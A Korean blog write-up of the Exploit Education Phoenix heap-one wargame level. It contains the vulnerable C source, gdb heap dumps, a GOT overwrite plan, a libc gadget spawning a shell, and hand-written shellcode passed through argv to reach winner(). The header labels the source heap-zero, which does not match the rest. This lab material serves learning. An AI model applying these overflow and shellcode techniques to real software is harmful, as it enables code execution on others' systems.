1. intro
2. code 및 분석
2.1. C code
/*
* phoenix/heap-zero, by https://exploit.education
*
* Can you hijack flow control?
*
* Which vegetable did Noah leave off the Ark?
* Leeks
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
struct heapStructure {
int priority;
char *name;
};
int main(int argc, char **argv) {
struct heapStructure *i1, *i2;
i1 = malloc(sizeof(struct heapStructure));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct heapStructure));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
void winner() {
printf(
"Congratulations, you've completed this level @ %ld seconds past the "
"Epoch\n",
time(NULL));
}
2.2. 분석
우선 heapstructure라는 구조체를 선언하고
i1 구조체의 priority에는 1을, name 에는 8 바이트의 heap 영역을 할당하고 그 주소를
i2 구조체의 priority에는 2을, name 에는 8 바이트의 heap 영역을 할당하고 그 주소를
삽입 한다.
이후 strcpy를 통해 argv[1]과 argv[2]를 각각 i1의 name, i2의 name에 복사하고
printf를 통해 메시지를 출력한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
strcpy 시 name 변수에 삽입된 주소에 값을 삽입하는데 이를 변조할 수 있다.
3.2. 공격 준비
우선 무엇보다 strcpy시 크기를 확인하지 않아 heap overflow가 발생한다.
더불어 strcpy 시 name 변수의 heap 주소를 참조하여 값을 삽입하기에 i2 -> name 변수를 조작할 수 있다면 특정 주소의 값을 덮어씌울 수 있다.
인자를 각각 aaaa, bbbb로 주고 실행한 heap 영역의 모양은 아래와 같다.
gef> x/40gx 0x00007ffff7ef6000
0x7ffff7ef6000: 0x0000000000000000 0x0000000000000021
0x7ffff7ef6010: 0x0000000000000001 0x00007ffff7ef6030
0x7ffff7ef6020: 0x0000000000000000 0x0000000000000021
0x7ffff7ef6030: 0x0000000061616161 0x0000000000000000
0x7ffff7ef6040: 0x0000000000000000 0x0000000000000021
0x7ffff7ef6050: 0x0000000000000002 0x00007ffff7ef6070
0x7ffff7ef6060: 0x0000000000000000 0x0000000000000021
0x7ffff7ef6070: 0x0000000062626262 0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000 0x00000000000fff81
만일 argv[1]이 16보다 크다면 i2 구조체의 값을 덮어씌울 것이다.
gef> r `python -c 'print "A"*64 + " " + "BBBB"'`
Starting program: /opt/phoenix/amd64/heap-one `python -c 'print "A"*64 + " " + "BBBB"'`
...
gef> x/40gx 0x00007ffff7ef6000
0x7ffff7ef6000: 0x0000000000000000 0x0000000000000021
0x7ffff7ef6010: 0x0000000000000001 0x00007ffff7ef6030
0x7ffff7ef6020: 0x0000000000000000 0x0000000000000021
0x7ffff7ef6030: 0x4141414141414141 0x4141414141414141
0x7ffff7ef6040: 0x4141414141414141 0x4141414141414141
0x7ffff7ef6050: 0x4141414141414141 0x4141414141414141
0x7ffff7ef6060: 0x4141414141414141 0x4141414141414141
0x7ffff7ef6070: 0x0000000000000000 0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000 0x00000000000fff81
그러므로 i1 구조체의 name 변수를 통해 변조할 주소를 삽입하고 i2 구조체의 name 변수를 통해 덮어씌울 값을 삽입하면 될 것이며, 프로그램의 마지막에 printf 함수를 통한 문자열을 출력하고 있으니 got을 덮어씌우면 될 것이다.
다만 문제에서는 printf 함수를 사용하지만 실제로는 puts 함수를 사용하니 puts plt를 덮어씌우자.
gef> disas main
Dump of assembler code for function main:
...
0x0000000000400ae7 <+170>: callq 0x400840 <puts@plt>
0x0000000000400aec <+175>: mov $0x0,%eax
0x0000000000400af1 <+180>: leaveq
0x0000000000400af2 <+181>: retq
End of assembler dump.
gef> x/40gx 0x0000000000604000
...
0x6041d0 <puts@got.plt>: 0x00007ffff7db98ca 0x00007ffff7da5d8f
winner의 주소는 아래와 같다.
─
gef> p winner
$3 = {<text variable, no debug info>} 0x400af3 <winner>
4. exploit
지속적으로 시도해보았으나 winner 주소 상 \x0a로 인해 다음 값이 삽입 불가능 및 \x00 값이 bash 필터링으로 인해 overwrite가 잘 되지 않는다.
gef> r `python -c 'print "A"*40 + "\x58\xe6\xff\xff\xff\x7f"'` `python -c 'print "\xf3\x0a\x40\x00\x00\x00\x00\x00"'`
Starting program: /opt/phoenix/amd64/heap-one `python -c 'print "A"*40 + "\x58\xe6\xff\xff\xff\x7f"'` `python -c 'print "\xf3\x0a\x40\x00\x00\x00\x00\x00"'`
/bin/bash: warning: command substitution: ignored null byte in input
and that's a wrap folks!
Program received signal SIGILL, Illegal instruction.
0x00007ffff7d800f5 in ?? () from /opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1
다른 shell 프로그램을 사용하면 풀릴 것도 같은데, 이는 기본 환경을 벗어나는 영역이라...
onegadget을 다운 받아 shell을 실행시켜버릴까 했는데 여러 프로그램 update가 필요하고, 이를 위해서는 또 root 권한이 필요하기에 일단은 패스.
직접 onegadget 주소를 찾아서 실행했는데 gdb에서는 되는데 로컬에서 안된다;
/bin/sh 문자열을 libc 파일에서 찾고
user@phoenix-amd64:~$ strings -tx /opt/phoenix/x86_64-linux-musl/lib/libc.so | grep /bin/sh
8c0f0 /bin/sh
8f064 /bin/sh
해당 주소 주변 값을 확인하였는데 아래 영역이 제일 가능성 있어보였다.
user@phoenix-amd64:~$ objdump -d /opt/phoenix/x86_64-linux-musl/lib/libc.so |
3ab30: eb 0a jmp 3ab3c <wordexp+0x1ec>
3ab32: be 01 00 00 00 mov $0x1,%esi
3ab37: e8 71 f5 01 00 callq 5a0ad <dup2>
3ab3c: 4c 8d 05 26 45 05 00 lea 0x54526(%rip),%r8 # 8f0
3ab43: 6a 00 pushq $0x0
3ab45: 48 8d 3d 18 45 05 00 lea 0x54518(%rip),%rdi # 8f
3ab4c: 41 57 push %r15
3ab4e: 48 8d 0d ee 44 05 00 lea 0x544ee(%rip),%rcx # 8f
3ab55: 48 8d 15 05 45 05 00 lea 0x54505(%rip),%rdx # 8f
3ab5c: 4d 89 f1 mov %r14,%r9
3ab5f: 4c 89 c6 mov %r8,%rsi
3ab62: 31 c0 xor %eax,%eax
3ab64: e8 87 85 00 00 callq 430f0 <execl>
그래서 아래와 같이 gdb에서 return 해보았더니
gef> r `python -c 'print "A"*40 + "\x48\xe6\xff\xff\xff\x7f"'` `python -c 'print "\x3c\x5b\xda\xf7\xff\x7f"'`
Starting program: /opt/phoenix/amd64/heap-one `python -c 'print "A"*40 + "\x48\xe6\xff\xff\xff\x7f"'` `python -c 'print "\x3c\x5b\xda\xf7\xff\x7f"'`
and that's a wrap folks!
process 1089 is executing new program: /bin/dash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
x[Inferior 1 (process 1089) exited normally]
새 프로그램이 정상적으로 실행되긴 했는데 종료되었다.
해당 오류 메시지는 gdb 문제이며, patch 해야되는 것으로...
그래서 생각난 방법이 shellcode를 작성하여 해당 위치로 return하는 방법이다.
작성할 shellcode는 winner 주소를 계산하여 push 한 다음 ret 하면 된다.
간단히 아래와 같이 shellcode를 작성 및 컴파일.
.globl main
main:
xor %rax,%rax
mov $0xffffffffffffffff,%rax
sub $0xFFFFFFFFFFBFF50C,%rax
push %rax
ret
이후 objdump를 통한 코드를 추출하였고
user@phoenix-amd64:~$ objdump -d a
a: file format elf64-x86-64
Disassembly of section .init:
...
0000000000000660 <main>:
660: 48 31 c0 xor %rax,%rax
663: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax
66a: 48 2d 0c f5 bf ff sub $0xffffffffffbff50c,%rax
670: 50 push %rax
671: c3 retq
672: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
679: 00 00 00
67c: 0f 1f 40 00 nopl 0x0(%rax)
이를 통해 exploit 해보았다.
user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-one `python -c 'print "\x48\x31\xc0\x48\xc7\xc0\xff\xff\xff\xff\x48\x2d\x0c\xf5\xbf\xff\x50\xc3" + "A"*22 + "\x68\xe6\xff\xff\xff\x7f"'` `python -c 'print "\x30\x60\xef\xf7\xff\x7f"'`
and that's a wrap folks!
Congratulations, you've completed this level @ 1664942397 seconds past the Epoch
Segmentation fault
and that's a wrap folks! 문자열이 출력되는 이유는 일단은 정상적으로 main 함수의 ret address까지는 도달하기 때문이다.
출제자의 원래 의도는 아니었겠지만 우회해서 푼 것이 더 좋은 듯.
'Wargame > Exploit Education' 카테고리의 다른 글
[Phoenix] Heap three (0) | 2022.10.06 |
---|---|
[Phoenix] Heap two (0) | 2022.10.06 |
[Phoenix] Heap zero (0) | 2022.09.30 |
[Phoenix] Format four (0) | 2022.09.30 |
[Phoenix] Format three (0) | 2022.09.30 |